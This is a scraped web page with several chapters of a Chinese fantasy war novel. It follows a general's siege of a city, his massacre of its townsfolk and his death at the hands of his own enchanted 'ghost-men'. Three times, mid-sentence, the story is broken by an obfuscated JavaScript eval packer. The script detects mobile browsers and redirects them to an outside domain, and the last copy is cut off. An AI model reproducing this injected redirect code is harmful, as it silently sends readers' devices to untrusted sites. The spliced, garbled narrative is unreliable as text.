董诚带领攻城车队前去撞击城门,华义挥舞长刀将城墙上射下的箭矢纷纷斩断。 先攻队士兵穿着坚硬的的铁甲铁胄,肩扛云梯朝城墙跑去。 严筹见此情形,命令弓箭手分成三队,一队射击,一队张弓瞄准,另一队则及时装填。就这样循环射击,城墙上的箭矢密集如雨。 先攻队士兵顶着密集的箭矢强行将云梯靠在城墙上,并接连朝城墙上爬去。 “放狼牙拍!” 严筹一声号令,城墙上的士兵合力将一块巨大的木板用绳索吊着放了下去。木板长约五尺,宽约四尺,朝下的那一面布满了尖锐的狼牙铁钉。狼牙拍只上下左右晃动,便将正在攀爬的孙军士兵拍落无数。 城下的一位黑衣人坐在马上,张弓搭箭朝城墙上射去。只见一支箭矢疾速飞出,狼牙拍上的绳索忽然断裂,狼牙拍也坠入城下。 严筹注意到城下的黑衣人,立即命令弓箭手朝他射击,数十支箭矢朝黑衣人飞来。 这时另一位手持宝剑的黑衣人骑马奔来,挡在前面,将射来的箭矢一一斩断。 “怎么青天白日的还穿着黑袍?这些人究竟是人是鬼?”严筹气急败坏道。 狼牙拍的绳索被射断,严筹只得想别的法子。他命令一些士兵烹煮沸油,朝攀爬的孙军倾倒下去,除此之外还搬来了滚木礌石。 滚木礌石朝云梯落去,砸到了不少孙军士兵。沸油从空中浇下来,瞬间引发了阵阵撕心裂肺的惨叫声,被淋到的士兵顿时感到如同被火焰炙烤,一个个疼痛难忍摔下云梯。 “申子文!”孙怀野叫来手持弓箭的鬼人,指着城墙上或隐或现的严筹道:“杀了他!” 申子文得了命令立即抬起弓箭,瞄准正在挥刀砍杀的严筹。 他瞄了许久,迟迟不射箭,孙怀野见状内心不禁有些焦急。 “是不是远了些?你换个位置,定要射中他!” 话音刚落,申子文的箭忽然离弦,孙怀野的目光紧紧盯着那支箭,心也提到了嗓子眼。 只见严筹正要挥刀,刚刚探出半个身子,那支箭便从缝隙中射中了严筹的胸口,严筹立即倒地。 “好!”孙怀野喜出望外。 严筹中箭后,周围的士兵忙将他抬到柱子后。 “别管我,快去御敌!”严筹粗声喊道。 他看了眼自己的胸口,这支箭射出的力气极大,竟穿透甲衣的薄弱之处,差点射中心口。 鲜血从里衣渗透出来,严筹的脸色逐渐变得苍白。 申子文继续朝城墙上射箭,守城士兵刚刚探头便被他射中头颅,一个个接连倒下。 这时,城墙下传来一声巨响,董诚带领攻城车队将商水城城门撞出一个大窟窿,其余的士 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14694569|156119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兵试图从洞口钻进商水城。可守城的士兵站在洞口前,一旦有人钻入便被斩杀毙命。董诚立即调整攻城车,又将门上的口子扩大了些,孙军便趁机一涌而入。 华义和申子武挥舞着兵器冲进人群,斩杀无数守城士兵。 城墙上的严军也逐渐乏力,一个先攻队的士兵瞅准时机抢先登城,挥起长刀清除了几个守城士兵。他环顾四周,一眼看到坐在柱子后的严筹。 严筹虽受了重伤,但也注意到了登上城墙的敌军,他拔出腰间的佩刀,竭力起身与他搏斗。 二人挥刀在城墙上你劈我砍,誓要置对方于死地。 先登的孙军士兵虽在气力上胜过严筹,可严筹毕竟久经沙场,武艺不凡,将他的招数都一一化解。两人敌了几个回合,严筹使出全身力气猛地抬刀劈向对方的刀,只听得一声脆响,孙军士兵的刀被劈成两段。 严筹趁他愣神的空当,挥刀劈向他的脖子,那士兵忙抬起残刀抵挡,却被杀红了眼的严筹抵到柱子上。 严筹不顾胸前的伤口,死死抵住不放,孙军士兵的残刀隐隐发出碎裂的声音。这时城墙上又上来一位先攻队士兵,他的脸被先前的沸油烫出了血泡,皮肤皱缩,看起来触目惊心。 “常小二?”他朝柱子上被严筹死死抵住的士兵喊道。 “余龙,救我!”常小二语气焦急道,他的额头上布满汗珠,浑身因与严筹抗衡而止不住地颤抖。 “余龙!你还愣着做什么!?” 常小二的声音几近嘶哑,他朝余龙的方向望去,却见他左顾右盼就是不过来搭救自己。 “余龙!……” 一阵金属碎裂的声音传来,常小二的喊声也随之消弭。 严筹的刀扎进常小二的咽喉,立时鲜血四溅,他将刀猛地一横,常小二的头颅便歪向一旁。 这番殊死较量已耗尽严筹的气力,他将刀撑在地上试图站起,忽听得身后传来匆匆的脚步声,接着一把冰冷刺骨的刀刃横在他的颈上。 “别动!再动丝毫我便杀了你!” 余龙站在他的身后,语气凶狠道。 城内,孙怀野率领鬼人和众士兵进行最后的清剿。 申子文从地上捡起几支箭矢,射中了几个溃逃的守城士兵的腿部。那几个士兵跌倒在地上,还未站起便被赶来的申子武挥剑了结了性命。 华义骑上一匹马,欲追击向城外奔逃的严军士兵,孙怀野立即拦住了他。 “穷寇莫追,你带领其他鬼人,速速扫清窝藏在城内的严军余孽!” 华义调转马匹的方向,连同其余鬼人朝城内奔去。 “将军!”郭泰一脸欣喜地向孙怀野跑来,“严筹已被活捉!” “他身在何处?”孙怀野连忙问道。 “城墙上。” “好,带本将军去会会!” 郭泰走在前面,几个士兵跟在孙怀野身后,一行人朝城墙上走去。 跨过无数士兵的尸体,孙怀野来到严筹的面前。只见他跪在地上,穿戴的盔甲已被卸去,头发散乱,浑身绑着麻绳,身后站着几个看押的士兵。 “是谁活捉的严筹?”孙怀野朝郭泰问道。 不等郭泰应答,余龙径直走出人群,跪在孙怀野面前。 “属下余龙!” “好!有胆量!”孙怀野的脸上浮起满意的笑容。 跪在一旁的严筹却发出了冷笑:“不过是捡了个便宜,算个狗屁胆量!” “大胆!手下败将还敢在将军面前妄言!?”余龙朝严筹吼道,旋即转身向孙怀野抱拳:“将军,他死到临头胡言乱语!属下登城时正好撞见常小二死于他手,便立即制服了他。” “嗯,这次的先登……” “回将军,这次的先登依然是常小二兄弟,属下可做人证。”余龙回道。 孙怀野点了点头:“只可惜,常小二已经死了。郭泰,吩咐人将先登的奖赏送去给他的家人。” “将军……”郭泰一脸难色,“常小二兄弟是个孤儿,也还未来得及娶妻生子呀。” “这……那便将奖赏赐给第二位登上城墙的罢。” 孙怀野话音刚落,余龙立即将整个身子伏在地上,连连磕头道:“谢将军赏赐!” 郭泰忙上前解释:“将军,第二位登上城墙的正是余龙兄弟。” 严筹不禁瞧了眼余龙,又将目光瞥向正喜笑颜开的孙怀野。思索片刻后,他终将喉咙里的话生生咽下,嘴角似笑非笑。 “带余龙去领赏!” 孙怀野一声令下,一位士兵引余龙走下城墙。 这时江远倾和周厉隐身来到城墙上,正好撞见严筹跪在孙怀野面前。 “看来我们来迟了,商水城已被孙怀野拿下。”江远倾看着遍地的士兵尸首,不由得叹了口气。 31.第 31 章 孙怀野用脚拨开一个严军士兵的残躯,将他身下被血浸透的“严”字军旗拾起,当着严筹的面用刀砍成两截,扔下了城。 “严筹,恐怕你也未曾料到,会这么快便落到本将军的手里罢?”孙怀野的语气中流露出一丝得意。 “乱臣贼子!孙怀野,你一定会不得好死!”严筹睁着猩红的双眼怒道。 孙怀野揪住他的头发,一脚踩在他胸口的箭伤上:“是乱臣贼子还是忠臣义士,由不得你这个将死之人来评判!” 说完孙怀野抽出腰上的刀,正欲挥向严筹的头颅,忽听得远处传来箭矢射出的声音。 他闻声望去,一个穿着严军战衣的男子正站在一处角落朝他张弓射箭。 在这危急关头,郭泰忽觉自己的身子被一股蛮力拽了过去,还未待他反应过来,一支箭射穿了他的胸膛…… “有刺客!”几个士兵立即朝那射箭的人追去。 郭泰感到胸前一阵剧痛,他低头看了一眼,鲜血正从他的衣服里喷涌而出。 一只粗壮有力的手拽着他,那只手的主人将他的痛苦看在眼里,却无丝毫怜悯之色。 “……将军。”郭泰瞪大眼睛,满脸不可置信地看着孙怀野。 “你的功劳,本将军会记在心里的。” 孙怀野冷眼看着他,将手轻轻松开。郭泰跌跌撞撞地靠在城墙边,脚底一软,整个身子从城墙上翻了下去。 “郭兄!” 周厉亲眼目睹着郭泰坠下城墙,他本能地朝郭泰大喊,可除了江远倾,城墙上无人能听到他那充满悲切的喊声。 坠下城墙的一瞬,郭泰瞥见了孙怀野的眼眸。他的眼中满是无法言喻的冷漠,捕捉不到丝毫情感,似乎容不得任何人。 耳边的风声在无情地呼啸,郭泰无奈地闭上双眼,等待最后的重击。 可是,风声忽然歇止,郭泰没有等来重击,反而发觉似乎有一双手托住了自己。 他睁开眼睛,发现自己已接近地面,周围堆满了先前攻城士兵的尸体。他们一个压着一个,形成了一座座尸山,山脚有血液流出,像是一条条小河。 郭泰望着身边一个个或熟悉或陌生的脸,他想起那些脸上曾经的表情,愤怒、喜悦、恐惧、勇敢…… 可如今,那些表情消失殆尽,只留下无数被挤压得不成形的脸。 一阵风吹过,那些扭曲的脸被蒙上了一层又一层的灰尘,他们的轮廓逐渐模糊,皮肤逐渐灰暗,像是陷入了永无止境的混沌之中。 郭泰无力地喘息着,每一次呼吸都伴随着彻心彻骨的疼痛。 恍惚间,眼前缓缓显现出一个人的轮廓,那人的脸上戴着半幅面具。 “……周厉?怎得是你……”郭泰的声音十分虚弱。 周厉托着郭泰,满脸泪水泣不成声。 “……对不起郭兄,……我救不了你……” 说话间,周厉的身旁又出现一人,他低垂着眼眸,明亮的日光照在脸上也掩盖不住他那悲伤阴郁的神色。 “江公子……是你吗江公子?” 江远倾深吸了一口气,声音低沉道:“是我。” 郭泰的脸上放松了许多,他望向一旁哭泣的周厉,轻轻叹息道:“贤弟,不要难过……我从进入军营便料到会有这么一天,只是没想到来得如此早……” “……我在这世上……已经没有任何亲人了,我原以为孙将军是真心赏识我,没想到……是我错了……” 郭泰眼中的光芒逐渐黯淡,呼吸声也变得杂乱:“一路走来,历经艰辛,却还是白忙活了一场,我什么都没有了……” 江远倾蹲下身,握住郭泰逐渐冰凉的手:“郭兄是个知恩图报的人,还有一颗善心,怎么会一无所有?” “江公子,谢谢你,你的恩情我怕是报答不了了……一步错,步步错……”郭泰的眼中泪光涌动,“可是……我只是想活下去,我只是想……有一口饭吃……” 郭泰望着天空,泪水不断从眼角滑过:“……苦苦支撑到现在,终于能和他们团聚了……” 他苍白的脸上挤出一丝惨淡的笑容:“江公子……我的平儿说……江公子给他盛的米粥是他吃过的最香甜的……” 江远倾紧紧地握住他的手,一滴泪水悄悄滑过脸颊。 “谢谢你……江公子……” 郭泰的眼皮变得愈发沉重,他缓缓闭上眼睛,却再也没能睁开。 城墙上,孙怀野抬起长刀,砍下了严筹的头颅。 严筹的身子倒在地上,鲜血喷溅涌出。他的铁胄被扔在一旁,铁胄上的红缨与地上的鲜血渐渐融为一体。 追击刺客的士兵们气喘吁吁地跑回来,孙怀野看了眼他们的身后,皱眉道:“人呢?” “属下无能……那人十分熟悉地形,钻进民居中没影儿了……” “现在城中到处是我们的人,难道无一人看清他跑向哪里了么?” 孙怀野的语气充满杀气,那士兵低着头,声音也不禁有些颤抖:“回将军,兄弟们已经肃清过那些地方,故没有我们的人。属下已问过附近不少商水城的百姓,他们都说没有看见。” “可派人挨家挨户搜了?” “正搜着。” 孙怀野站在城墙上,若有所思地俯视着城内的房屋。 “将居住在那片屋子里的人都带到主街上,不可漏过一人,本将军有话要与他们说。” “遵命!” 日影西斜,天空逐渐灰暗。 上百名商水城的百姓被孙怀野的士兵驱赶离家,惊慌失措地聚集到主街上。那些士兵将百姓赶到主街后,便一一离去。 孙怀野站在人群中心的一座高台上,身后只站着四个鬼人。 他俯视高台下一张张惶恐的面孔,露出了鲜有的温和笑容。 “诸位商水城的百姓,在下姓孙,名怀野。恐怕你们对本将军的名字不甚了解,但想必你们都听过‘骁勇大将军’这个名号。” “今日将你们聚到一起,只是想问问,你们可曾见过一个手持弓箭的士兵在你们的房屋前后奔逃?或者……是否知晓他藏匿于何处?” 人群中鸦雀无声,无人敢直视孙怀野的眼神。 “诸位不要害怕,如你们所见,本将军已将士兵都撤去。只要你们告诉本将军那人在何处,本将军便立即派人送你们回去,如何?” 孙怀野的笑容几乎僵在脸上,可人群中仍无人回应,有几位男子甚至朝他投来了鄙夷的眼神。 “这么说,你们是不愿说出那人的藏身之处了?”孙怀野收起笑容,逐渐失去了耐性。 他走到鬼人面前,指着站在前排的几位男子道: “杀了他们。” 申子文立即举起弓箭,还未待其中一位男子反应过来,一支利箭射中了他的头颅。 人群中顿时哗然,后排的百姓见状纷纷四散奔逃。跑得快的只跑过几个巷子便被埋伏的士兵乱刀砍死,跑得慢的则被华义、董诚和申子武三人瞬间了结。 华义只轻轻挥动长刀,便有数人哀嚎倒地。申子武剑锋飞翻,便有数人的喉咙被划开,当场气绝。董诚一个后弓腰,将长枪朝四周挥舞,便有数人被划破了衣裳,皮肉绽开,鲜血淋漓。 孙怀野静静地站在高台上,冷眼瞧着高台下众人狰狞的面孔和痛苦的哭嚎,彷佛只是一个局外人。眼前的杀戮似乎不是杀戮,只是一场枯燥乏味的游戏。 高台下尸首遍地,只剩下几人在苦苦逃窜。孙怀野冷漠空洞的眼神忽然变得专注,他敏锐地注意到,董诚握枪的手似乎在微微颤抖。 这时,华义用长刀了结了最后一人的性命,高台下四个鬼人静静地伫立在黑暗之中。 孙怀野下了高台走向董诚,仔细打量着他。 “董诚?” 董诚略有迟缓地转过头,望着孙怀野,行为举止中有些僵滞。 孙怀野正要说些什么,忽听得远处尸堆中传来婴孩的啼哭。 一个男婴满脸鲜血地坐在一个女子身旁,那女子趴在地上,后背和脖颈处有深深的刀痕,任凭她的孩子如何放声啼哭也无丝毫反应。 孙怀野拍了拍董诚:“你去杀了那孩子。” 董诚缓缓走到婴儿面前提起长枪,可他的手不停地颤抖,迟迟未将长枪朝婴儿扎去。 “董诚!”孙怀野高声吼道,“我知道你能听懂我的话,我告诉你,你若不杀了他,他长大后就会杀了我们!” 见董诚没有反应,孙怀野将目光投向申子武。 “申子武!他不杀你去杀!” 申子武来到婴儿面前,却只是直直地盯着,持剑的手一动不动。 “申子文!” 听到孙怀野的号令,申子文并未挪步,反而转过身,有些迷茫地看着孙怀野。 “好啊,你们一个个都忘了当初立下的契约了么?你们承诺过要听从我的号令,一心辅佐我成就大业,难道你们都忘了么!?”孙怀野歇斯底里道。 “是我救的你们,是我将你们从那个人的手里解脱出来,是我,结束了你们受尽折磨、任人践踏的一生!” 孙怀野走到鬼人面前,他们的脸被黑纱遮盖,看不出具体的表情。 “难道你们不想变强大,不想造福百姓了么!?你们杀的这些人他们怀有异心,迟早有一天会造反!你们不听本将军的号令,是要违约么?” 孙怀野愤怒地喘着粗气,接着他放低声音,沉住气道:“别忘了,你们都欠我的。” “申子文,若没有我,你们兄弟俩早就天各一方!” “董诚,你被拉去宁王房中时,是我替的你!” “还有你,华义!你发高烧的那晚若不是我求宁王,你早就死了!” “本将军现在命令你们,杀了那个小儿!” 孙怀野的声音在风中回荡,场面陷入一片寂静。 婴儿被吓得停止啼哭,睁着眼睛疑惑地看着周围呆站的鬼人。 “好,你们不杀,本将军亲自了结这个后患!” 说完孙怀野拔刀冲向坐在地上的婴儿,那婴儿见孙怀野杀气腾腾地走过来,立即放声大哭。 可没过多久,哭声瞬间歇止,一个小小的圆球从董诚脚边滚过,停在华义的刀旁。 “只有我,才能带领你们成就大业!没有我,你们拥有神通又有何用?可没有你们,我照样可以成为令人闻风丧胆的骁勇大将军!” 孙怀野将带血的刀插进刀鞘,一脚踩在某个不知名的尸体上。 “往后我将不只是大将军,我还要杀了那个皇帝取而代之!我要登上天下之巅,让所有人都听从我的号令,对我顶礼膜拜!” “我要将所有忤逆我的都踩在脚下,所有试图阻拦我的都杀个片甲不留!” 孙怀野怒气冲冲地盯着四个鬼人:“你们忘了契约,我可没忘!这条路,即便没有你们,我也要走到头、杀到底!” 说完孙怀野转身朝城墙上走去。 “我要让商水城的百姓看看,谁才是他们真正的王……” 孙怀野话音刚落,忽然一个利器从身后猝不及防地捅穿他的胸膛。 寒风从胸前的孔洞钻进心窍,孙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14704387|156119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀野顿觉浑身的气力消失殆尽。 他缓缓低头看向自己的胸膛,锋利的刀尖上沾满了血肉…… 安葬好郭泰的尸首,江远倾和周厉便回到了飞红山。 看到飞红山上的落花,周厉不由得叹息了一声。 “江兄,为何我总觉得我们不是在为自己而活呢?” “为何这样问?”江远倾道。 “我也不知道,似乎我们总是活得身不由己。就像是一个个悬丝傀儡,往哪里去?做什么?甚至是怎么活,都像是被编排好的。” 江远倾看了他一眼:“那你认为提丝的人是谁?那根丝又在哪里?” 周厉摇了摇头:“我也不知,只是因郭兄的死有感而发罢了。郭兄这一生颠沛流离,家破人亡,可他只是想好好活下去,最终却落得这个下场,被孙怀野利用至死。” “或许我们头上真的有一根看不见的丝线。”江远倾抬头望向天空,“我在书房里读过一本书,书里讲述了天庭里的各种法宝。有神仙们的法器,还有先于天帝而成的宝物。这其中就有一个宝物,被写在书中的最后一页,叫秩序宝轮。” “这宝物是什么来头?”周厉忍不住问道。 “书里未有写清它的来历,只是说天帝和诸神存在之前便有了。天帝在山中修炼时无意间拾得此法宝,便将它带了回去。” 说话间江远倾和周厉行走在飞红山的小道上。 “这个宝物虽叫秩序宝轮,可它状如棋盘,又比凡间的棋盘大了几倍。上面的棋子也不是寻常的象棋或是围棋,而是无数密集的绿点。这些绿点或明或亮,或移动或消失,没有章法可言。据说天帝对其钻研了许久,可也只知这些绿点似乎与世间众生息息相关,它们变幻的规律也似乎对应着世间的秩序。至于这些绿点是依据什么规律变幻以及世间的秩序将如何发展,就无人知晓了。” 周厉细细地听着,忽然想起了什么:“既然有棋子,那下棋的人是谁?” “你问到了关键之处,可这问题的答案连天帝都不知晓。或许下棋的人同你方才说的丝线一般,看不见,摸不着。” “所以……众生的命运便被掌控在这小小的棋盘之中了么?”周厉有些沮丧道。 江远倾正要张口说些什么,忽听得远处竹屋上的檐铃铛铛作响。 “不好,契约有变。” “难道是……鬼人?”周厉也听到了檐铃的声响。 “我们先去商水城看看,若不是鬼人就再回飞红山。” 周厉应了一声,随即与江远倾一同离开飞红山。 二人来到商水城的城墙上,朝四下里寻找孙怀野的踪迹。 “在那里!”周厉一眼看到主街上的高台,而孙怀野正趴在高台旁的众多尸首之中。 江远倾从城墙上望去,却发现一个鬼人站在孙怀野的身边,他正举起长枪扎向孙怀野的脊背。 “是董诚!” 江远倾立即瞬闪来到董诚身后,可还未待他施法制止,那支长枪便扎进了孙怀野的躯体之中。 “董诚,快住手!”周厉快步上前推开董诚,可随之而来的一幕却令他大吃一惊。 孙怀野的脊背不仅被扎进了长枪,还有一支箭矢,一柄剑和一把刀…… 江远倾立即将周厉拉到身后,警惕地盯着伫立在黑夜之中的四个鬼人:“你们这是在做什么?杀了他就是违约!” 华义从地上捧起一个小小的头颅,行动有些僵硬地走到江远倾面前。 江远倾看着那头颅不禁紧锁眉头,他偏过脸望向趴在地上的孙怀野,只见他的脊背被鲜血浸透,腹部还有十分微弱的起伏。 江远倾蹲身查探孙怀野的鼻息,他的嘴巴微微翕动,不时有鲜血从嘴角流出。 “你说什么?” 江远倾凑近孙怀野的嘴边,听他有气无力地重复着一句话: “我……还有大业未成……本将军……不能死……” “我……不能死!……” 孙怀野用尽全部力气说出最后一句话,随即浑身瘫软没了气息。他流泪的眼中布满血丝,死死地盯着高台上的孙字军旗。 江远倾缓缓起身叹了口气:“孙怀野死了。” “那……我们是不是要根据契约惩罚鬼人?”周厉朝四个鬼人瞥了一眼,此时他们的手中已没了武器,只呆站在原地不知在想些什么。 “他们虽有残存的神识,但也只是一具没有魂魄的躯壳。惩罚于他们而言,已经没有任何意义了。” 江远倾走到鬼人身边,他们的身上沾满了鲜血,双手无法自控地颤抖。 “我原以为只有董诚一人出了差错,没想到是所有的鬼人。” 周厉看着死去的孙怀野渐渐出神:“今日孙怀野将郭兄从城墙上推下的那一刻,恐怕怎么也不会想到自己也看不到明日的太阳。江兄,你说这些会不会是秩序宝轮安排好的?” “我也说不清,以孙怀野的性情,他迟早会有这么一天,可是郭兄和这些商水城的百姓是无辜的。如果这些是秩序宝轮安排的,那也未免太冷酷了些。” “若有一天我成了仙,我定要看看这秩序宝轮究竟是个什么东西!” “我们先将这四个鬼人带回飞红山,交给契约神处置罢。”江远倾道。 周厉点点头,随后二人施法将四个鬼人带离了商水城。 月影消散,黑夜笼罩着堆满尸骨的商水城,埋伏在巷中的士兵迟迟等不来孙怀野的下一道命令。 狂风呜咽着掠过一具具尸首,所有人的血液都混杂在风中,飞向未知的远方…… 32.第 32 章 飞红山中,落英缤纷,无数花瓣从虚无中坠落,在风中悠然摇曳,直至飘落到地上。 忽然一阵狂风袭来,落花纷飞,江远倾和周厉回到飞红山,随即身后出现四个身着黑衣的鬼人。 二人刚到飞红山,还未来得及检查鬼人的状态,便听得天空传来熟悉的声音。 “江远倾,周厉,你们怎能纵容鬼人杀死孙怀野?” 江远倾正欲答话,突然眼前一道金光,一头巨大的神兽乍然出现。 “拜见契约神。”江远倾立即同周厉朝契约神行礼。 契约神踱着沉重的步子,一双审视的眼眸散发着锐利的光芒。 “鬼人杀死孙怀野时,你们在做什么?”契约神的目光紧紧地盯着二人。 江远倾一脸从容道:“那时我们正在埋葬郭泰。” “哼,这是你们该做的事么?” “上神作为神仙恐怕无法体会凡人的情感。”周厉忍不住道,“我们凡人不能眼睁睁地看着好友的尸骨风吹日晒,自然要入土为安。” 见契约神脸上有些愠怒,江远倾忙上前道:“鬼人杀死孙怀野之前,我们曾去过商水城。可那时鬼人一切正常,还助孙怀野拿下了商水城,于是我们便打道回府。至于埋葬郭泰,不过是顺手的事。” “一切正常?正常的话孙怀野怎么会死?”契约神道。 “也许是因为孙怀野大开杀戒,唤醒了鬼人体内残存的神识。他们的神识实在是捉摸不透,我等凡人难以预测。鬼人乃出自上神之手,恐怕只有上神才能知晓。”江远倾不紧不慢道。 “你这话是什么意思?是要将鬼人的差错怪罪到本神身上来么?” “远倾并非此意,只是上神法力无边,所制的鬼人想必数不胜数,怎会也未窥见鬼人神识中的端倪?” 契约神冷哼一声:“鬼人制作之法是上古时期便有的,若要让他们遵从命令就必须要留下一丝神识。只是凡人之心变幻莫测,谁能料到残存的神识也能起到这般作用?” “上神当真未料想到么?”江远倾直视着契约神那双深不见底的眼眸。 契约神阴沉的眼眸俯视江远倾和周厉二人:“这份契约本就是凡人自愿签订,是他们太过贪心,既要成就大业又不愿牺牲。你与其在这里怀疑本神,不如好好看看你们凡人的思想是多么矛盾,以至于到了自相残杀的地步!” “你们也看见了,契约上有这四个鬼人的掌印。可是如今,他们一个个又转变想法,联合起来杀死孙怀野。无论本神是否有意留下神识,杀死孙怀野一事都是出自他们自己的意愿,与本神无关。” 契约神将目光投向江远倾和周厉二人:“倒是你们,若你们有时刻监视鬼人,孙怀野还会死么?” 周厉欲分辩几句,却被江远倾暗地里拦了下来。 “孙怀野虽有遵循契约,但他行事冷血无情,被鬼人杀死是早晚的事。我等为上神管理契约,恐怕无法时时刻刻守在孙怀野身旁。再者,孙怀野对身边的人怀有戒心,只有鬼人可接近其身。此事我等已竭尽全力,望上神明察。”江远倾的语气变得诚恳了些。 “罢了,你既这样说,本神便不与你计较。杀死孙怀野的毕竟是鬼人,鬼人违约,那便惩罚鬼人罢。” “上神要如何惩罚他们?”周厉不禁问道。 “他们的魂魄由本神掌管,永世不得超生,至于他们的残躯……”契约神只轻轻一抬脚,一阵风吹向四个鬼人,“只能化为灰烬了。” 话音刚落,四个身着黑衣的鬼人逐渐分裂成无数微小的碎片,随即逐风而去。 “这份契约到此就算了了,你们日后行事要更加谨慎,若遇到什么要紧的事,摇动檐铃便可。” “上神!”周厉叫住转身欲走的契约神,“在下有一事想请教上神。” 契约神打量了他一眼:“什么事?” “上神是天上的神仙,不知是否听说过一个叫秩序宝轮的宝物?” “你们怎么知道?是从书房里看来的么?” “书里对秩序宝轮的介绍甚少,上神可了解一二?”江远倾道。 契约神索性趴在地上,长长的胡须都快要戳到江周二人的脸上,侧身的金色毛发也陷进地上的花瓣堆里。 “秩序宝轮乃是天界第一宝物,虽说天界宝物五花八门、层出不穷,或可呼风唤雨,或可号令千军万马,但秩序宝轮不同。”契约神一双如同翡翠的眼眸盯着眼前的两人,“没有神仙知晓它的来历,也没有神仙能解出其中的奥妙。据说它是世间万物的起源,若掌握其中暗藏的玄机,便可窥见未来。” “竟有如此神通?”周厉惊奇道。 “本神的师尊……也就是在天界鼎鼎有名的卧云仙人,他的法力仅次于天帝。但师尊不喜权位,只日日在山中隐居。若是放在平常,即便天帝来请,师尊也是不会出山的。可听闻天帝拾得这样的宝物,师尊不但出山,还应天帝之邀去了天庭。” “师尊在天庭一待便是上百年,他终日与那宝物共处,用了无数法子,却也参透不出这宝物的奥义。它虽如同棋盘,却无人执棋,师尊钻研百年,也只是根据棋盘上星点闪烁的规律得出一个猜想。” 江远倾忽然想起了什么:“所以书上说的,秩序宝轮上的绿点与世间众生息息相关,便是卧云仙人得出的猜想么?” “不错,秩序宝轮这个名字也是师尊所起。” “原来如此。”江远倾一副茅塞顿开的模样。 “该说的本神都与你们说了。”契约神站起身,将身上沾染的花瓣抖落到地上,“本神该走了。” “等等,我还有一个问题。”周厉忙道,“秩序宝轮还在天庭之中么?我以后若成了神仙,能见到秩序宝轮么?” “你问了两个问题。”契约神眯着眼睛俯视周厉。 “那……上神只需回答第二个问题便好。”周厉挤出笑容道。 “本神是契约之神,不可随意做出承诺。秩序宝轮是天界第一宝物,能不能见到需看你自己的造化。” “这……” 周厉还未说完,契约神忽然化作一团风,席卷地上的花瓣消失得无影无踪。 “这就走了!?回答得跟没回答似的。” 江远倾低头沉思道:“契约神的意思也许是你将来有机会见到秩序宝轮,只是你需把握住机会。”说完江远倾转身离去。 “你这话和契约神说的有什么不一样?” 周厉快步追上前去,却见江远倾摆了摆手:“别忘了,莫要越界!” “居然还疑心我?”周厉停住脚步叹了口气,只得朝自己的住处行去…… 盛夏时节,火球一般的太阳终于退至西边,令天空与大地逐渐冷却。 随着日光消逝,地上的热气也跟随微风散去。月光如水,凉风习习,城中的人们纷纷走出家门,享受着来之不易的凉爽。 街上人潮涌动,灯火辉煌,摊贩的叫卖声不绝于耳。 街角处一座挂着红灯笼的楼宇与周围的建筑十分格格不入,几个衣着华丽的女子站在门口,在红灯笼的照映下,她们的脸庞如同春日里雨后的桃花般娇艳欲滴。 一双温婉的眼眸只悄悄抬了抬眼皮,便似月光入水,泛着晶莹剔透的亮光,令人如痴如醉。 路过的男子不由得停住脚步,任由伸来的那双光洁如玉的手臂将自己拉入楼里。 门上一块牌匾被灯火映得通红,上写三个字:惜春楼。 一入惜春楼,沁人的脂粉香和醇厚的酒香便扑面而来。大堂里烛光闪烁,人影交织,不时传来女子清脆的笑声和男子喝酒划拳的吆喝声,显得热闹非凡。 在这嘈杂的人声中,夹杂着一阵似有似无的琴音。琴音婉转轻柔,轻易地便被惜春楼里女子的吟唱声掩盖。 众人将目光投向那吟唱的女子身上,手中的酒倒了一半便忘得一干二净。酒水从酒杯中缓缓溢出,滴落到地上。 惜春楼的后院里,一条鹅卵石铺就的小道在月光下熠熠生光。小道右侧是一座小巧的池塘,池中几朵睡莲轻轻荡漾。 小道的左侧则是一面围墙,几株蔷薇依墙而栽,碧绿的藤蔓上只留下几朵开得正盛的蔷薇花。其余的花托上或空空如也,或只剩几片褪色的蔷薇花瓣,鹅卵石小道上铺了一层粉色的落花。 小道经过一处凉亭,亭内坐着一位身着素色长裙的女子。她低垂着头,腮边两缕发丝随风轻拂着雪白的脸颊。她的脸上只略施了些粉黛,便显得淡雅脱俗,一对眉毛似弯月,却不时紧蹙。浓密的睫毛遮盖了眼眸,眼角处有几条细微的皱纹,一双温柔似水的眼眸紧紧地盯着眼前的琴弦。 她的手指在琴弦上轻轻跃动,琴声如潺潺流水般细腻悠扬。 “日日花前常病酒,不辞镜里朱颜瘦。” 女子一面抚琴,一面抬头望向那吟诗的人。只见一位手持酒壶的男子不知何时站在了蔷薇花前,他的脸上微微泛红,含笑的眼眸正盯着墙上的蔷薇花。吟完诗后,男子将壶口含在嘴里,壶里的酒被一饮而尽。 女子有些好奇地观望着花前的男子,却未料到那男子忽然转过头,与自己的目光相撞。她忙低下头继续抚琴,即便有些慌张,琴音却未乱一丝一毫。 耳边除了琴音,便是惜春楼里传来的歌声和近旁的虫鸣,再无其它。女子权当那男子已然离去,专心抚琴。 待最后一次拨动琴弦,琴音也就此歇止。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 